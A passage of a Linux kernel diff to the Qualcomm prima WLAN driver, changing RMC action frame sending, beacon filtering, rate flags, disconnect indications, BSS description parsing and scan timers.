0x4e }; + + if (NULL == psessionEntry) + { + return eSIR_FAILURE; + } + + vos_mem_set(( tANI_U8* )&RMC, sizeof( RMC ), 0); + + RMC.Action.action = pRMC->action; + RMC.RMCDialogToken.token = pRMC->dialogToken; + RMC.Category.category = SIR_MAC_ACTION_VENDOR_SPECIFIC_CATEGORY; + RMC.RMCVersion.version = SIR_MAC_RMC_VER; + + vos_mem_copy(&RMC.RMCOUI.oui, SIR_MAC_RMC_OUI, SIR_MAC_RMC_OUI_SIZE); + vos_mem_copy(&RMC.MagicCode.magic, MagicCode, sizeof(MagicCode)); + + vos_mem_copy(&RMC.Ruler.mac, pRMC->mcastRuler, sizeof(tSirMacAddr)); + + nStatus = dot11fGetPackedRMCSize( pMac, &RMC, &nPayload ); + if ( DOT11F_FAILED( nStatus ) ) + { + limLog( pMac, LOGE, FL("Failed to calculate the packed size for " + "an RMC (0x%08x)."), + nStatus ); + // We'll fall back on the worst case scenario: + nPayload = sizeof( tDot11fRMC ); + } + else if ( DOT11F_WARNED( nStatus ) ) + { + limLog( pMac, LOGW, FL("There were warnings while calculating " + "the packed size for an RMC Action Frame" + " (0x%08x)."), nStatus ); + } + + nBytes = nPayload + sizeof( tSirMacMgmtHdr ); + + halstatus = palPktAlloc( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, + ( tANI_U16 )nBytes, ( void** ) &pFrame, + ( void** ) &pPacket ); + if ( ! HAL_STATUS_SUCCESS ( halstatus ) ) + { + limLog( pMac, LOGP, FL("Failed to allocate %d bytes for an RMC " + "Action Frame."), nBytes ); + return eSIR_FAILURE; + } + + // Paranoia: + vos_mem_set( pFrame, nBytes, 0 ); + + // Next, we fill out the buffer descriptor: + nSirStatus = limPopulateMacHeader( pMac, pFrame, SIR_MAC_MGMT_FRAME, + SIR_MAC_MGMT_ACTION, peerMacAddr, + psessionEntry->selfMacAddr); + if ( eSIR_SUCCESS != nSirStatus ) + { + limLog( pMac, LOGE, FL("Failed to populate the buffer descriptor " + "for an RMC Action Frame (%d)."), + nSirStatus ); + palPktFree( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, + ( void* ) pFrame, ( void* ) pPacket ); + return nSirStatus; + } + + // Update A3 with the BSSID + pMacHdr = ( tpSirMacMgmtHdr ) pFrame; + sirCopyMacAddr(pMacHdr->bssId,psessionEntry->bssId); + + // That done, pack the struct: + nStatus = dot11fPackRMC( pMac, &RMC, + pFrame + sizeof(tSirMacMgmtHdr), + nPayload, &nPayload ); + if ( DOT11F_FAILED( nStatus ) ) + { + limLog( pMac, LOGE, FL("Failed to pack an RMC " + "(0x%08x)."), + nStatus ); + palPktFree( pMac->hHdd, HAL_TXRX_FRM_802_11_MGMT, ( void* ) pFrame, + ( void* ) pPacket ); + return eSIR_FAILURE; + } + else if ( DOT11F_WARNED( nStatus ) ) + { + limLog( pMac, LOGW, FL("There were warnings while packing " + "an RMC (0x%08x)."), nStatus ); + } + + limLog( pMac, LOG1, FL("Sending an RMC Action frame to " + MAC_ADDRESS_STR), MAC_ADDR_ARRAY(peerMacAddr)); + + /* + * With this masking, RMC action frames will be sent + * at self-sta rates for both 2G and 5G bands. + */ + txFlag |= HAL_USE_SELF_STA_REQUESTED_MASK; + + MTRACE(macTrace(pMac, TRACE_CODE_TX_MGMT, + psessionEntry->peSessionId, + pMacHdr->fc.subType)); + // Queue RMC Action frame in high priority WQ + halstatus = halTxFrame( pMac, pPacket, ( tANI_U16 ) nBytes, + HAL_TXRX_FRM_802_11_MGMT, + ANI_TXDIR_TODS, + 7,//SMAC_SWBD_TX_TID_MGMT_HIGH, + limTxComplete, pFrame, txFlag ); + MTRACE(macTrace(pMac, TRACE_CODE_TX_COMPLETE, + psessionEntry->peSessionId, + halstatus)); + if ( ! HAL_STATUS_SUCCESS ( halstatus ) ) + { + limLog( pMac, LOGE, FL( "*** Could not send an RMC Action frame" + " (%X) ***" ), halstatus ); + //Pkt will be freed up by the callback + return eSIR_FAILURE; + } + + return eSIR_SUCCESS; + +} // End limSendRMCActionFrame. + +#endif /* WLAN_FEATURE_RMC */ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendMessages.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendMessages.c index 0b482885e707b..91e028be9b4db 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendMessages.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendMessages.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -798,7 +798,9 @@ tSirRetStatus limSendBeaconFilterInfo(tpAniSirGlobal pMac,tpPESession psessionEn tANI_U8 *ptr; tANI_U32 i; tANI_U32 msgSize; + tANI_BOOLEAN ignore_secchannel_bcn_filter = false; tpBeaconFilterIe pIe; + tpDphHashNode pStaDs; if( psessionEntry == NULL ) { @@ -844,10 +846,36 @@ tSirRetStatus limSendBeaconFilterInfo(tpAniSirGlobal pMac,tpPESession psessionEn //Fill the BSSIDX pBeaconFilterMsg->bssIdx = psessionEntry->bssIdx; + pStaDs = dphGetHashEntry(pMac, DPH_STA_HASH_INDEX_PEER, + &psessionEntry->dph.dphHashTable); + if((psessionEntry->currentOperChannel <= RF_CHAN_14) && + ((psessionEntry->htSupportedChannelWidthSet == + eHT_CHANNEL_WIDTH_20MHZ) || + (pStaDs != NULL && (pStaDs->htSupportedChannelWidthSet == + eHT_CHANNEL_WIDTH_20MHZ)))) + { + ignore_secchannel_bcn_filter = true; + } + //Fill message with info contained in the beaconFilterTable ptr = (tANI_U8 *)pBeaconFilterMsg + sizeof(tBeaconFilterMsg); for(i=0; i < (pBeaconFilterMsg->ieNum); i++) { + /* + *Interoperability workaround: TP-LINK TL-WDR6300 + *The value of Secondary Channel Offset in HT Operation element + *of beacon frame switching between 1 and 0, which causes dut(sta) + *to wake up frequently. + */ + if((ignore_secchannel_bcn_filter == true) && + (beaconFilterTable[i].elementId == SIR_MAC_HT_INFO_EID) && + (beaconFilterTable[i].byte.offset == 1) && + (beaconFilterTable[i].byte.bitMask == HT_BYTE1_FILTER_MASK)) + { + limLog( pMac, LOGW, + FL("Skip Secondary Channel bcn filter when channel is 20Mhz")); + continue; + } pIe = (tpBeaconFilterIe) ptr; pIe->elementId = beaconFilterTable[i].elementId; pIe->checkIePresence = beaconFilterTable[i].checkIePresence; diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendSmeRspMessages.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendSmeRspMessages.c index ab22c5bde10b4..85c577b1dd58e 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendSmeRspMessages.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSendSmeRspMessages.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -234,16 +234,16 @@ tANI_U32 limGetMaxRateFlags(tpDphHashNode pStaDs, tpPESession psessionEntry) } else { - if(IS_DOT11_MODE_HT(psessionEntry->dot11mode)) + if (IS_DOT11_MODE_HT(psessionEntry->dot11mode) +#ifdef WLAN_FEATURE_11AC + || IS_DOT11_MODE_VHT(psessionEntry->dot11mode) + ) +#endif { - if (pStaDs->htShortGI20Mhz || pStaDs->htShortGI40Mhz ) - rate_flags |= eHAL_TX_RATE_SGI; - - if (pStaDs->htSupportedChannelWidthSet) - rate_flags |=eHAL_TX_RATE_HT40; - else - rate_flags |=eHAL_TX_RATE_HT20; + if (pStaDs->htShortGI20Mhz || pStaDs->htShortGI40Mhz) + rate_flags |= eHAL_TX_RATE_SGI; } + #ifdef WLAN_FEATURE_11AC if(IS_DOT11_MODE_VHT(psessionEntry->dot11mode)) { @@ -262,7 +262,15 @@ tANI_U32 limGetMaxRateFlags(tpDphHashNode pStaDs, tpPESession psessionEntry) rate_flags |= eHAL_TX_RATE_VHT20; } } + else #endif + if(IS_DOT11_MODE_HT(psessionEntry->dot11mode)) + { + if (pStaDs->htSupportedChannelWidthSet) + rate_flags |=eHAL_TX_RATE_HT40; + else + rate_flags |=eHAL_TX_RATE_HT20; + } } return rate_flags; @@ -649,9 +657,9 @@ limSendSmeStartBssRsp(tpAniSirGlobal pMac, //subtracting size of length indicator itself and size of pointer to ieFields - pSirSmeRsp->bssDescription.length = sizeof(tSirBssDescription) - - sizeof(tANI_U16) - sizeof(tANI_U32) + - ieLen; + pSirSmeRsp->bssDescription.length = + ((uintptr_t)OFFSET_OF(tSirBssDescription, ieFields)) + - sizeof(pSirSmeRsp->bssDescription.length) + ieLen; //This is the size of the message, subtracting the size of the pointer to ieFields size += ieLen - sizeof(tANI_U32); } @@ -823,6 +831,10 @@ limSendSmeScanRsp(tpAniSirGlobal pMac, tANI_U16 length, } else { +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_SCAN_RES_FOUND_EVENT, NULL, + eSIR_SUCCESS, eSIR_SUCCESS); +#endif // send last message pSirSmeScanRsp->statusCode = eSIR_SME_SUCCESS; pSirSmeScanRsp->messageType = eWNI_SME_SCAN_RSP; @@ -1276,6 +1288,7 @@ limSendSmeDisassocNtf(tpAniSirGlobal pMac, tANI_U8 *pBuf; tSirSmeDisassocRsp *pSirSmeDisassocRsp; tSirSmeDisassocInd *pSirSmeDisassocInd; + tSirSmeDisConDoneInd *pSirSmeDisConDoneInd; tANI_U32 *pMsg; bool failure = FALSE; @@ -1286,13 +1299,6 @@ limSendSmeDisassocNtf(tpAniSirGlobal pMac, switch (disassocTrigger) { - case eLIM_PEER_ENTITY_DISASSOC: - if (reasonCode != eSIR_SME_STA_NOT_ASSOCIATED) - { - failure = TRUE; - goto error; - } - case eLIM_HOST_DISASSOC: /** * Disassociation response due to @@ -1343,6 +1349,35 @@ limSendSmeDisassocNtf(tpAniSirGlobal pMac, pMsg = (tANI_U32*) pSirSmeDisassocRsp; break; + case eLIM_PEER_ENTITY_DISASSOC: + case eLIM_LINK_MONITORING_DISASSOC: + pSirSmeDisConDoneInd = vos_mem_malloc(sizeof(tSirSmeDisConDoneInd)); + if ( NULL == pSirSmeDisConDoneInd ) + { + // Log error + limLog(pMac, LOGP, + FL("call to AllocateMemory failed for disconnect indication")); + + return; + } + vos_mem_zero(pSirSmeDisConDoneInd, sizeof(tSirSmeDisConDoneInd)); + limLog(pMac, LOG1, + FL("send eWNI_SME_DISCONNECT_DONE_IND withretCode: %d"), + reasonCode); + pSirSmeDisConDoneInd->messageType = eWNI_SME_DISCONNECT_DONE_IND; + pSirSmeDisConDoneInd->length = sizeof(tSirSmeDisConDoneInd); + vos_mem_copy(pSirSmeDisConDoneInd->peerMacAddr, peerMacAddr, + sizeof(tSirMacAddr)); + pSirSmeDisConDoneInd->sessionId = smesessionId; + + if (reasonCode == eSIR_SME_LOST_LINK_WITH_PEER_RESULT_CODE) + pSirSmeDisConDoneInd->reasonCode = 0; + else + pSirSmeDisConDoneInd->reasonCode = reasonCode; + + pMsg = (tANI_U32 *)pSirSmeDisConDoneInd; + break; + default: /** * Disassociation indication due to Disassociation @@ -1369,6 +1404,7 @@ limSendSmeDisassocNtf(tpAniSirGlobal pMac, pSirSmeDisassocInd->sessionId = smesessionId; pSirSmeDisassocInd->transactionId = smetransactionId; pSirSmeDisassocInd->reasonCode = reasonCode; + pSirSmeDisassocInd->assocId = aid; pBuf = (tANI_U8 *) &pSirSmeDisassocInd->statusCode; limCopyU32(pBuf, reasonCode); @@ -1432,8 +1468,9 @@ limSendSmeDisassocInd(tpAniSirGlobal pMac, tpDphHashNode pStaDs,tpPESession pses pSirSmeDisassocInd->sessionId = psessionEntry->smeSessionId; pSirSmeDisassocInd->transactionId = psessionEntry->transactionId; - pSirSmeDisassocInd->statusCode = pStaDs->mlmStaContext.disassocReason; + pSirSmeDisassocInd->statusCode = eSIR_SME_DEAUTH_STATUS; pSirSmeDisassocInd->reasonCode = pStaDs->mlmStaContext.disassocReason; + pSirSmeDisassocInd->assocId = pStaDs->assocId; vos_mem_copy( pSirSmeDisassocInd->bssId, psessionEntry->bssId, sizeof(tSirMacAddr)); @@ -1474,6 +1511,8 @@ limSendSmeDeauthInd(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpPESession psess tSirMsgQ mmhMsg; tSirSmeDeauthInd *pSirSmeDeauthInd; + limSendTLPauseInd(pMac, pStaDs->staIndex); + pSirSmeDeauthInd = vos_mem_malloc(sizeof(tSirSmeDeauthInd)); if ( NULL == pSirSmeDeauthInd ) { @@ -1486,6 +1525,7 @@ limSendSmeDeauthInd(tpAniSirGlobal pMac, tpDphHashNode pStaDs, tpPESession psess pSirSmeDeauthInd->sessionId = psessionEntry->smeSessionId; pSirSmeDeauthInd->transactionId = psessionEntry->transactionId; + pSirSmeDeauthInd->assocId = pStaDs->assocId; if(eSIR_INFRA_AP_MODE == psessionEntry->bssType) { pSirSmeDeauthInd->statusCode = (tSirResultCodes)pStaDs->mlmStaContext.cleanupTrigger; @@ -1710,6 +1750,7 @@ limSendSmeDeauthNtf(tpAniSirGlobal pMac, tSirMacAddr peerMacAddr, tSirResultCode tANI_U8 *pBuf; tSirSmeDeauthRsp *pSirSmeDeauthRsp; tSirSmeDeauthInd *pSirSmeDeauthInd; + tSirSmeDisConDoneInd *pSirSmeDisConDoneInd; tpPESession psessionEntry; tANI_U8 sessionId; tANI_U32 *pMsg; @@ -1717,9 +1758,6 @@ limSendSmeDeauthNtf(tpAniSirGlobal pMac, tSirMacAddr peerMacAddr, tSirResultCode psessionEntry = peFindSessionByBssid(pMac,peerMacAddr,&sessionId); switch (deauthTrigger) { - case eLIM_PEER_ENTITY_DEAUTH: - return; - case eLIM_HOST_DEAUTH: /** * Deauthentication response to host triggered @@ -1754,6 +1792,36 @@ limSendSmeDeauthNtf(tpAniSirGlobal pMac, tSirMacAddr peerMacAddr, tSirResultCode break; + case eLIM_PEER_ENTITY_DEAUTH: + case eLIM_LINK_MONITORING_DEAUTH: + pSirSmeDisConDoneInd = vos_mem_malloc(sizeof(tSirSmeDisConDoneInd)); + if ( NULL == pSirSmeDisConDoneInd ) + { + // Log error + limLog(pMac, LOGP, + FL("call to AllocateMemory failed for disconnect indication")); + + return; + } + vos_mem_zero(pSirSmeDisConDoneInd, sizeof(tSirSmeDisConDoneInd)); + limLog(pMac, LOG1, + FL("send eWNI_SME_DISCONNECT_DONE_IND withretCode: %d"), + reasonCode); + + pSirSmeDisConDoneInd->messageType = eWNI_SME_DISCONNECT_DONE_IND; + pSirSmeDisConDoneInd->length = sizeof(tSirSmeDisConDoneInd); + vos_mem_copy(pSirSmeDisConDoneInd->peerMacAddr, peerMacAddr, + sizeof(tSirMacAddr)); + pSirSmeDisConDoneInd->sessionId = smesessionId; + + if (reasonCode == eSIR_SME_LOST_LINK_WITH_PEER_RESULT_CODE) + pSirSmeDisConDoneInd->reasonCode = 0; + else + pSirSmeDisConDoneInd->reasonCode = reasonCode; + + pMsg = (tANI_U32 *)pSirSmeDisConDoneInd; + break; + default: /** * Deauthentication indication due to Deauthentication @@ -1775,6 +1843,7 @@ limSendSmeDeauthNtf(tpAniSirGlobal pMac, tSirMacAddr peerMacAddr, tSirResultCode pSirSmeDeauthInd->messageType = eWNI_SME_DEAUTH_IND; pSirSmeDeauthInd->length = sizeof(tSirSmeDeauthInd); pSirSmeDeauthInd->reasonCode = eSIR_MAC_UNSPEC_FAILURE_REASON; + pSirSmeDeauthInd->assocId = aid; // sessionId pBuf = (tANI_U8*) &pSirSmeDeauthInd->sessionId; @@ -2881,6 +2950,11 @@ limSendSmeCandidateFoundInd(tpAniSirGlobal pMac, tANI_U8 sessionId) return; } +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_ROAM_CANDIDATE_FOUND, + NULL, eSIR_SUCCESS, eSIR_SUCCESS); +#endif + pSirSmeCandidateFoundInd->messageType = eWNI_SME_CANDIDATE_FOUND_IND; pSirSmeCandidateFoundInd->length = sizeof(tSirSmeCandidateFoundInd); pSirSmeCandidateFoundInd->sessionId = sessionId; diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSerDesUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSerDesUtils.c index cfe9ff94a6c4e..3fb524bf1ea43 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limSerDesUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limSerDesUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -229,10 +229,16 @@ limGetBssDescription( tpAniSirGlobal pMac, tSirBssDescription *pBssDescription, #endif #endif -#ifdef FEATURE_WLAN_ESE - pBssDescription->QBSSLoad_present = limGetU16(pBuf); - pBuf += sizeof(tANI_U16); - len -= sizeof(tANI_U16); +#if defined(FEATURE_WLAN_ESE) || defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) + /* Extract QBSSLoad_present */ + pBssDescription->QBSSLoad_present = *pBuf++; + len -= sizeof(tANI_U8); + if (limCheckRemainingLength(pMac, len) == eSIR_FAILURE) + return eSIR_FAILURE; + + /* Extract QBSS_ChanLoad */ + pBssDescription->QBSS_ChanLoad = *pBuf++; + len -= sizeof(tANI_U8); if (limCheckRemainingLength(pMac, len) == eSIR_FAILURE) return eSIR_FAILURE; @@ -277,9 +283,28 @@ limGetBssDescription( tpAniSirGlobal pMac, tSirBssDescription *pBssDescription, return eSIR_FAILURE; } - /* 1 reserved byte padding */ - pBuf += (WSCIE_PROBE_RSP_LEN + 1); - len -= (WSCIE_PROBE_RSP_LEN + 1); + pBuf += (WSCIE_PROBE_RSP_LEN); + len -= (WSCIE_PROBE_RSP_LEN); + + /* Extract HTCapsPresent */ + pBssDescription->HTCapsPresent = *pBuf++; + len --; + + /* Extract vhtCapsPresent */ + pBssDescription->vhtCapsPresent = *pBuf++; + len --; + + /* Extract wmeInfoPresent */ + pBssDescription->wmeInfoPresent = *pBuf++; + len --; + + /* Extract beacomformingCapable */ + pBssDescription->beacomformingCapable = *pBuf++; + len --; + + /* Extract chanWidth */ + pBssDescription->chanWidth = *pBuf++; + len --; if (len > 0) { @@ -379,7 +404,7 @@ limCopyBssDescription(tpAniSirGlobal pMac, tANI_U8 *pBuf, tSirBssDescription *pB len++; vos_mem_copy( pBuf, (tANI_U8 *) &(pBssDescription->ieFields), - limGetIElenFromBssDescription(pBssDescription)); + GET_IE_LEN_IN_BSS(pBssDescription->length)); return (len + sizeof(tANI_U16)); } /*** end limCopyBssDescription() ***/ @@ -976,6 +1001,14 @@ limJoinReqSerDes(tpAniSirGlobal pMac, tpSirSmeJoinReq pJoinReq, tANI_U8 *pBuf) return eSIR_FAILURE; } + pJoinReq->bWPSAssociation = *pBuf++; + len--; + if (limCheckRemainingLength(pMac, len) == eSIR_FAILURE) + { + limLog(pMac, LOGE, FL("remaining len %d is too short"), len); + return eSIR_FAILURE; + } + // Extract cbMode pJoinReq->cbMode = *pBuf++; len--; @@ -1600,7 +1633,9 @@ limDisassocCnfSerDes(tpAniSirGlobal pMac, tpSirSmeDisassocCnf pDisassocCnf, tANI pBuf += sizeof(tSirMacAddr); vos_mem_copy( pDisassocCnf->peerMacAddr, pBuf, sizeof(tSirMacAddr)); + pBuf += sizeof(tSirMacAddr); + pDisassocCnf->assocId = limGetU16(pBuf); return eSIR_SUCCESS; } /*** end limDisassocCnfSerDes() ***/ diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limTimerUtils.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limTimerUtils.c index 0ff5c4403ffec..0237271371290 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limTimerUtils.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limTimerUtils.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -677,18 +677,32 @@ limCreateTimers(tpAniSirGlobal pMac) goto err_timer; } - cfgValue = ACTIVE_TO_PASSIVE_CONVERISON_TIMEOUT; - cfgValue = SYS_MS_TO_TICKS(cfgValue); - if (tx_timer_create(&pMac->lim.limTimers.gLimActiveToPassiveChannelTimer, + cfgValue = WNI_CFG_ACTIVE_PASSIVE_CON_MAX; + if (eSIR_SUCCESS != wlan_cfgGetInt(pMac, WNI_CFG_ACTIVE_PASSIVE_CON, + &cfgValue)) + { + limLog(pMac, LOGP, + FL("could not retrieve WNI_CFG_ACTIVE_PASSIVE_CON")); + } + if (cfgValue) + { + cfgValue = ACTIVE_TO_PASSIVE_CONVERISON_TIMEOUT; + cfgValue = SYS_MS_TO_TICKS(cfgValue); + if (tx_timer_create(&pMac->lim.limTimers.gLimActiveToPassiveChannelTimer, "ACTIVE TO PASSIVE CHANNEL", limTimerHandler, SIR_LIM_CONVERT_ACTIVE_CHANNEL_TO_PASSIVE, cfgValue, 0, TX_NO_ACTIVATE) != TX_SUCCESS) + { + limLog(pMac, LOGW,FL("could not create timer for passive channel to active channel")); + goto err_timer; + } + } + else { - limLog(pMac, LOGW,FL("could not create timer for passive channel to active channel")); - goto err_timer; + limLog(pMac, LOG1, + FL("gLimActiveToPassiveChannelTimer not created %d"), cfgValue); } - return TX_SUCCESS; err_timer: @@ -1032,17 +1046,24 @@ limDeactivateAndChangeTimer(tpAniSirGlobal pMac, tANI_U32 timerId) if(pMac->lim.gpLimMlmScanReq) { val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->minChannelTime); - if (pMac->btc.btcScanCompromise) + if (pMac->btc.btc_scan_compromise_esco) { - if (pMac->lim.gpLimMlmScanReq->minChannelTimeBtc) + if (pMac->lim.gpLimMlmScanReq->min_chntime_btc_esco) { - val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->minChannelTimeBtc); + val = SYS_MS_TO_TICKS( + pMac->lim.gpLimMlmScanReq->min_chntime_btc_esco); limLog(pMac, LOG1, FL("Using BTC Min Active Scan time")); } else { limLog(pMac, LOGE, FL("BTC Active Scan Min Time is Not Set")); } + } else if (pMac->btc.btc_scan_compromise_sco && + pMac->roam.configParam.min_chntime_btc_sco) { + val = SYS_MS_TO_TICKS( + pMac->roam.configParam.min_chntime_btc_sco); + limLog(pMac, LOG1, + FL("Using BTC SCO Min Active Scan time %d"), val); } } else @@ -1077,17 +1098,24 @@ limDeactivateAndChangeTimer(tpAniSirGlobal pMac, tANI_U32 timerId) if(pMac->lim.gpLimMlmScanReq) { val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->minChannelTime)/2; - if (pMac->btc.btcScanCompromise) + if (pMac->btc.btc_scan_compromise_esco) { - if (pMac->lim.gpLimMlmScanReq->minChannelTimeBtc) + if (pMac->lim.gpLimMlmScanReq->min_chntime_btc_esco) { - val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->minChannelTimeBtc)/2; + val = SYS_MS_TO_TICKS( + pMac->lim.gpLimMlmScanReq->min_chntime_btc_esco)/2; limLog(pMac, LOG1, FL("Using BTC Min Active Scan time")); } else { limLog(pMac, LOGE, FL("BTC Active Scan Min Time is Not Set")); } + } else if (pMac->btc.btc_scan_compromise_sco && + pMac->roam.configParam.min_chntime_btc_sco) { + val = SYS_MS_TO_TICKS( + pMac->roam.configParam.min_chntime_btc_sco / 2); + limLog(pMac, LOG1, + FL("Using BTC SCO Min Active Scan time %d"), val); } } /*If val is 0 it means min Channel timer is 0 so take the value from maxChannelTimer*/ @@ -1097,17 +1125,24 @@ limDeactivateAndChangeTimer(tpAniSirGlobal pMac, tANI_U32 timerId) if(pMac->lim.gpLimMlmScanReq) { val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->maxChannelTime)/2; - if (pMac->btc.btcScanCompromise) + if (pMac->btc.btc_scan_compromise_esco) { - if (pMac->lim.gpLimMlmScanReq->maxChannelTimeBtc) + if (pMac->lim.gpLimMlmScanReq->max_chntime_btc_esco) { - val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->maxChannelTimeBtc)/2; + val = SYS_MS_TO_TICKS( + pMac->lim.gpLimMlmScanReq->max_chntime_btc_esco)/2; limLog(pMac, LOG1, FL("Using BTC Max Active Scan time")); } else { limLog(pMac, LOGE, FL("BTC Active Scan Max Time is Not Set")); } + } else if (pMac->btc.btc_scan_compromise_sco && + pMac->roam.configParam.max_chntime_btc_sco) { + val = SYS_MS_TO_TICKS( + pMac->roam.configParam.max_chntime_btc_sco / 2); + limLog(pMac, LOG1, + FL("Using BTC SCO Max Active Scan time %d"), val); } } else @@ -1169,17 +1204,24 @@ limDeactivateAndChangeTimer(tpAniSirGlobal pMac, tANI_U32 timerId) if(pMac->lim.gpLimMlmScanReq) { val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->maxChannelTime); - if (pMac->btc.btcScanCompromise) + if (pMac->btc.btc_scan_compromise_esco) { - if (pMac->lim.gpLimMlmScanReq->maxChannelTimeBtc) + if (pMac->lim.gpLimMlmScanReq->max_chntime_btc_esco) { - val = SYS_MS_TO_TICKS(pMac->lim.gpLimMlmScanReq->maxChannelTimeBtc); + val = SYS_MS_TO_TICKS( + pMac->lim.gpLimMlmScanReq->max_chntime_btc_esco); limLog(pMac, LOG1, FL("Using BTC Max Active Scan time")); } else { limLog(pMac, LOGE, FL("BTC Active Scan Max Time is Not Set")); } + } else if (pMac->btc.btc_scan_compromise_sco && + pMac->roam.configParam.max_chntime_btc_sco) { + val = SYS_MS_TO_TICKS( + pMac->roam.configParam.max_chntime_btc_sco); + limLog(pMac, LOG1, + FL("Using BTC SCO Max Active Scan time %d"), val); } } else diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limTrace.c b/drivers/staging/prima/CORE/MAC/src/pe/lim/limTrace.c index 68ea147fd2b32..662670bac529a 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limTrace.c +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limTrace.c @@ -303,6 +303,47 @@ void limTraceDump(tpAniSirGlobal pMac, tpvosTraceRecord pRecord, tANI_U16 recInd } } +/** + * lim_state_info_dump() - print state information of lim layer + */ +static void lim_state_info_dump(void) +{ + tHalHandle hal; + tpAniSirGlobal mac; + v_CONTEXT_t vos_ctx_ptr; + + /* get the global voss context */ + vos_ctx_ptr = vos_get_global_context(VOS_MODULE_ID_VOSS, NULL); + + if (NULL == vos_ctx_ptr) { + VOS_ASSERT(0); + return; + } + + hal = vos_get_context(VOS_MODULE_ID_PE, vos_ctx_ptr); + if (NULL == hal) { + VOS_ASSERT(0); + return; + } + + mac = PMAC_STRUCT(hal); + + limLog(mac, LOG1, FL("SmeState: %d PrevSmeState: %d MlmState: %d" + "PrevMlmState: %d SystemInScanLearnMode: %d ProcessDefdMsgs: %d" + "gLimHalScanState: %d"), mac->lim.gLimSmeState, + mac->lim.gLimPrevSmeState, mac->lim.gLimMlmState, + mac->lim.gLimPrevMlmState, mac->lim.gLimSystemInScanLearnMode, + mac->lim.gLimProcessDefdMsgs, mac->lim.gLimHalScanState); +} + +/** + * lim_register_debug_callback() - registration function for lim layer + * to print lim state information + */ +void lim_register_debug_callback() +{ + vos_register_debug_callback(VOS_MODULE_ID_PE, &lim_state_info_dump); +} void macTraceMsgTx(tpAniSirGlobal pMac, tANI_U8 session, tANI_U32 data) { diff --git a/drivers/staging/prima/CORE/MAC/src/pe/lim/limTypes.h b/drivers/staging/prima/CORE/MAC/src/pe/lim/limTypes.h index 1ad20b5c4234a..a375494faa07f 100644 --- a/drivers/staging/prima/CORE/MAC/src/pe/lim/limTypes.h +++ b/drivers/staging/prima/CORE/MAC/src/pe/lim/limTypes.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -266,7 +266,8 @@ typedef struct sLimMlmAssocInd tANI_U32 beaconLength; tANI_U8* beaconPtr; tANI_U32 assocReqLength; - tANI_U8* assocReqPtr; + tANI_U8* assocReqPtr; + uint32_t rate_flags; } tLimMlmAssocInd, *tpLimMlmAssocInd; typedef struct sLimMlmReassocReq @@ -827,6 +828,7 @@ void limProcessSwitchChannelRsp(tpAniSirGlobal pMac, void * ); void limSendHalInitScanReq( tpAniSirGlobal, tLimLimHalScanState, tSirLinkTrafficCheck); void limSendHalStartScanReq( tpAniSirGlobal, tANI_U8, tLimLimHalScanState); void limSendHalEndScanReq( tpAniSirGlobal, tANI_U8, tLimLimHalScanState); +void limSendTLPauseInd(tpAniSirGlobal pMac, uint16_t staId); void limSendHalFinishScanReq( tpAniSirGlobal, tLimLimHalScanState); void limContinuePostChannelScan(tpAniSirGlobal pMac); @@ -871,6 +873,15 @@ tSirRetStatus limSendSaQueryRequestFrame( tpAniSirGlobal pMac, tANI_U8 *transId, tSirRetStatus limSendSaQueryResponseFrame( tpAniSirGlobal pMac, tANI_U8 *transId, tSirMacAddr peer,tpPESession psessionEntry); #endif + +#ifdef WLAN_FEATURE_RMC +void limProcessRMCMessages(tpAniSirGlobal pMac, eRmcMessageType msgType, + tANI_U32 *pMsgBuf); 